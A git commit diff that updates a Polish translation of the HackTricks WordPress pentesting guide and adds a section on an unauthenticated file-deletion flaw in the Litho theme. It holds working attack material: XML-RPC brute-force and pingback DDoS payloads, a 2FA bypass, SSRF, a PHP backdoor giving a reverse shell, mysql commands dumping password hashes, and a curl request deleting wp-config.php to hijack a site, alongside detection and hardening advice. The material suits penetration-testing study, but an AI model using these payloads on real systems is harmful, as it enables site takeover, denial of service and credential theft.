mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
08ddead068
commit
ecde0a78e9
@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
- **Przesłane** pliki znajdują się w: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Przesłane** pliki znajdują się pod adresem: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **motywu twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Inny przydatny adres URL to:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
@ -15,7 +15,7 @@
|
||||
### **Główne pliki WordPressa**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPressa.
|
||||
- `license.txt` zawiera przydatne informacje, takie jak wersja zainstalowanego WordPressa.
|
||||
- `wp-activate.php` jest używany do procesu aktywacji e-maila podczas konfigurowania nowej witryny WordPress.
|
||||
- Foldery logowania (mogą być przemianowane, aby je ukryć):
|
||||
- `/wp-admin/login.php`
|
||||
@ -26,16 +26,16 @@
|
||||
- Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy.
|
||||
- `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę.
|
||||
- `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
|
||||
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytalnymi typami postów i taksonomiami.
|
||||
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytującymi typami postów i taksonomiami.
|
||||
|
||||
**Post exploitation**
|
||||
**Post eksploatacja**
|
||||
|
||||
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
|
||||
|
||||
### Uprawnienia użytkowników
|
||||
|
||||
- **Administrator**
|
||||
- **Redaktor**: Publikuje i zarządza swoimi oraz innymi postami
|
||||
- **Redaktor**: Publikuje i zarządza swoimi i innymi postami
|
||||
- **Autor**: Publikuje i zarządza swoimi postami
|
||||
- **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować
|
||||
- **Subskrybent**: Przegląda posty i edytuje swój profil
|
||||
@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Wtyczki i motywy
|
||||
|
||||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie przeprowadzić Brute Force na liście Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy).
|
||||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force na liście Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy).
|
||||
|
||||
### Użytkownicy
|
||||
|
||||
@ -103,7 +103,7 @@ Zauważ, że ten punkt końcowy ujawnia tylko użytkowników, którzy opublikowa
|
||||
|
||||
Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP.
|
||||
|
||||
- **Enumeracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**.
|
||||
- **Enumaracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
@ -168,18 +168,18 @@ Używając prawidłowych danych uwierzytelniających, możesz przesłać plik. W
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Również istnieje **szybszy sposób** na brute-force'owanie poświadczeń za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku poświadczeń w tym samym żądaniu:
|
||||
Również istnieje **szybszy sposób** na brutalne łamanie haseł za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku haseł w tym samym żądaniu:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Obejście 2FA**
|
||||
|
||||
Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne poświadczenia, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi poświadczeniami, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne dane logowania, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi danymi, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS lub skanowanie portów**
|
||||
|
||||
Jeśli możesz znaleźć metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu.\
|
||||
Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodowany jest **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port).
|
||||
Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodując **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -193,7 +193,7 @@ Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dost
|
||||
|
||||
Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty.
|
||||
|
||||
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużywać tej metody, aby spowodować DDoS.
|
||||
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak wykorzystać tę metodę do spowodowania DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -213,11 +213,11 @@ Ten plik zazwyczaj znajduje się w katalogu głównym witryny Wordpress: **`/wp-
|
||||
Gdy ten plik jest **dostępny**, wykonywane jest "**ciężkie**" zapytanie MySQL, więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\
|
||||
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym załadowaniu strony (za każdym razem, gdy klient żąda jakiejkolwiek strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).
|
||||
|
||||
Zaleca się wyłączenie Wp-Cron i utworzenie rzeczywistego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów).
|
||||
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Worpress może wysłać do Ciebie żądanie.
|
||||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Wordpress może wysłać do Ciebie żądanie.
|
||||
|
||||
Oto odpowiedź, gdy to nie działa:
|
||||
|
||||
@ -231,7 +231,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
|
||||
To narzędzie sprawdza, czy **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy** istnieją, a jeśli tak, próbuje je wykorzystać.
|
||||
|
||||
## Automatic Tools
|
||||
## Narzędzia automatyczne
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Uzyskaj dostęp przez nadpisanie bitu
|
||||
|
||||
Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Można było więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zrealizować operację NOP dla NOT (`!`).
|
||||
Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) możesz zmienić 1 bit w dowolnym pliku wordpressa. Możesz więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zignorować operację NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -269,7 +269,7 @@ to get a session.
|
||||
### PHP plugin
|
||||
|
||||
Możliwe, że można przesłać pliki .php jako wtyczkę.\
|
||||
Utwórz swój php backdoor, używając na przykład:
|
||||
Utwórz swój backdoor w PHP, używając na przykład:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -285,25 +285,25 @@ Kliknij na Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłaną powłokę:
|
||||
Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłany shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Uzyskaj do niej dostęp, a zobaczysz URL do wykonania odwrotnej powłoki:
|
||||
Uzyskaj do niego dostęp, a zobaczysz URL do wykonania reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana z podatności i może być wykorzystana do uzyskania powłoki sieciowej. Proces ten przeprowadza się przez pulpit WordPressa w następujący sposób:
|
||||
Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako podatna i może być wykorzystana do uzyskania web shell. Proces ten odbywa się przez pulpit WordPressa w następujący sposób:
|
||||
|
||||
1. **Pozyskanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB, jak [**tutaj**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Pozyskiwanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB jak [**tutaj**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Instalacja wtyczki**:
|
||||
- Przejdź do pulpitu WordPressa, a następnie do `Pulpit > Wtyczki > Prześlij wtyczkę`.
|
||||
- Przejdź do pulpitu WordPressa, a następnie do `Dashboard > Plugins > Upload Plugin`.
|
||||
- Prześlij plik zip pobranej wtyczki.
|
||||
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit.
|
||||
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczki, musi być ona aktywowana przez pulpit.
|
||||
4. **Eksploatacja**:
|
||||
- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana z podatności.
|
||||
- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana jako podatna.
|
||||
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny.
|
||||
- Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress.
|
||||
|
||||
@ -315,14 +315,14 @@ Zawartość zawiera wizualne pomoce ilustrujące kroki w pulpicie WordPressa dot
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPressie. Aby uzyskać więcej informacji, sprawdź [**ten post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Oferuje **wsparcie dla wersji WordPressa 6.X.X, 5.X.X i 4.X.X oraz pozwala na:**
|
||||
- _**Eskalacja uprawnień:**_ Tworzy użytkownika w WordPressie.
|
||||
- _**(RCE) Przesyłanie złośliwej wtyczki (backdoor):**_ Prześlij swoją złośliwą wtyczkę (backdoor) do WordPressa.
|
||||
- _**(RCE) Przesyłanie niestandardowej wtyczki (backdoor):**_ Prześlij swoją niestandardową wtyczkę (backdoor) do WordPressa.
|
||||
- _**(RCE) Edycja wbudowanej wtyczki:**_ Edytuj wbudowane wtyczki w WordPressie.
|
||||
- _**(RCE) Edycja wbudowanego motywu:**_ Edytuj wbudowane motywy w WordPressie.
|
||||
- _**(Custom) Złośliwe exploity:**_ Złośliwe exploity dla wtyczek/motywów stron trzecich WordPressa.
|
||||
- _**(Niestandardowe) Niestandardowe exploity:**_ Niestandardowe exploity dla wtyczek/motywów WordPressa innych firm.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Extract usernames and passwords:
|
||||
Wyciągnij nazwy użytkowników i hasła:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -332,20 +332,20 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Powierzchnia ataku
|
||||
### Attack Surface
|
||||
|
||||
Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa w celu znalezienia luk w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa, aby znaleźć luki w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje użytkownikom, jest za pośrednictwem handlerów AJAX. Mogą one zawierać błędy logiki, autoryzacji lub uwierzytelniania. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
|
||||
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pomocą handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często zdarza się, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
|
||||
|
||||
To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Użycie `nopriv` sprawia, że punkt końcowy jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).**
|
||||
**Użycie `nopriv` sprawia, że punkt końcowy jest dostępny dla wszystkich użytkowników (nawet niezautoryzowanych).**
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> Ponadto, jeśli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany, zazwyczaj nie sprawdza roli użytkownika. Tak więc użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań o wysokich uprawnieniach.
|
||||
@ -362,13 +362,89 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
|
||||
`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik ma uprawnienia do wywołania metody API.
|
||||
|
||||
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
|
||||
|
||||
- **Bezpośredni dostęp do pliku php**
|
||||
|
||||
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to podatne na wykorzystanie przez każdego użytkownika.
|
||||
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to wykorzystywalne przez każdego użytkownika.
|
||||
|
||||
### Nieautoryzowane usuwanie dowolnych plików za pomocą wp_ajax_nopriv (Motyw Litho <= 3.0)
|
||||
|
||||
Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pomocą haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wersja **_nopriv_**, **callback staje się dostępny dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować:
|
||||
|
||||
1. **sprawdzenie uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz
|
||||
2. **CSRF nonce** weryfikowane za pomocą `check_ajax_referer()` / `wp_verify_nonce()`, oraz
|
||||
3. **Ścisłą sanitację / walidację wejścia**.
|
||||
|
||||
Motyw wielofunkcyjny Litho (< 3.1) zapomniał o tych 3 kontrolach w funkcji *Usuń rodzinę czcionek* i ostatecznie dostarczył następujący kod (uproszczony):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
return;
|
||||
}
|
||||
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
|
||||
$upload_dir = wp_upload_dir();
|
||||
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
|
||||
$filesystem = Litho_filesystem::init_filesystem();
|
||||
|
||||
if ( file_exists( $srcdir ) ) {
|
||||
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
|
||||
}
|
||||
die();
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Problemy wprowadzone przez ten fragment:
|
||||
|
||||
* **Nieautoryzowany dostęp** – zarejestrowano hak `wp_ajax_nopriv_`.
|
||||
* **Brak sprawdzenia nonce / uprawnień** – każdy odwiedzający może uzyskać dostęp do punktu końcowego.
|
||||
* **Brak sanitizacji ścieżki** – ciąg `fontfamily` kontrolowany przez użytkownika jest łączony z ścieżką systemu plików bez filtrowania, co pozwala na klasyczne przejście `../../`.
|
||||
|
||||
#### Wykorzystanie
|
||||
|
||||
Napastnik może usunąć dowolny plik lub katalog **poniżej katalogu głównego przesyłania** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` są wystarczające w domyślnej instalacji. Usunięcie `wp-config.php` zmusza WordPress do uruchomienia *kreatora instalacji* przy następnej wizycie, co umożliwia pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika administratora).
|
||||
|
||||
Inne istotne cele to pliki `.php` wtyczek/motywów (aby złamać wtyczki zabezpieczające) lub reguły `.htaccess`.
|
||||
|
||||
#### Lista kontrolna wykrywania
|
||||
|
||||
* Każdy `add_action( 'wp_ajax_nopriv_...')` callback, który wywołuje pomocniki systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||
* Konkatenacja niesanitowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Wzmacnianie
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i podwójnie sprawdź:
|
||||
> • Uwierzytelnienie • Autoryzacja • Nonce • Sanityzacja wejścia • Ograniczenie ścieżki (np. za pomocą `realpath()` oraz `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
## Ochrona WordPressa
|
||||
|
||||
@ -393,7 +469,11 @@ Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||||
- Usuń domyślnego użytkownika **admin**
|
||||
- Używaj **silnych haseł** i **2FA**
|
||||
- Okresowo **przeglądaj** uprawnienia użytkowników
|
||||
- **Ogranicz próby logowania** w celu zapobiegania atakom Brute Force
|
||||
- **Ogranicz próby logowania**, aby zapobiec atakom Brute Force
|
||||
- Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
|
||||
|
||||
## Referencje
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user